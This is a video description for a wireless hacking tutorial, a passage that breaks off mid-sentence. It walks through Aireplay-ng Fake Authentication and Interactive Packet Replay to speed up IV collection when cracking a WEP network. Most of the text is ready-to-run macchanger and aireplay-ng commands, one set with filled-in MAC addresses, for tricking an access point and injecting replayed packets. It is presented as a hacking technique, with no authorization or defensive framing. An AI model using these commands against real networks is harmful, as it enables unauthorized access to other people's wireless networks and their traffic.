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This video demonstrates a wireless hacking technique that can be used when no computers are on a network, no ARP Packets are being broadcasted, and Data-Flow (IV Sniffing) is going very slowly when hacking a wireless network. The techniques are incorporated with Aireplay-ng and are called Fake Authentication and Interfactive Packet Replay. This video is made for those that have already watched my or someone else’s wireless hacking video and understand the basic concepts and have either a Backtrack Live-CD or Virtual Machine (Or another Linux distro with Airmon-ng installed). – Commands Used (Specific to Fake Authentication and Interactive Packet Replay) macchanger -s wlan0 (Displays the Mac Address for my network interface. Please note that your interface may be called something else) aireplay-ng -1 3000 -e [ESSID - Name of Network] -a [Mac Address of the Access Point] -h [Our systems Mac Address displayed in Macchanger] -o 1 -q 10 wlan0 (This is the command for Fake Authentication which basically tricks the Access Point into thinking your a legit system on the network allowing additional techniques to be applied. Once again your interface name may differ) aireplay-ng -2 -b 00:1C:10:15:D3:B8 -h 00:15:af:01:9b:1c -c FF:FF:FF:FF:FF:FF -p 0841 wlan0 (This will be the command for Interactive Packet Replay which allows you to collect packets and once obtained, replay (inject) the packets allowing Data/IV’s to collected much faster After this you can proceed with the airodump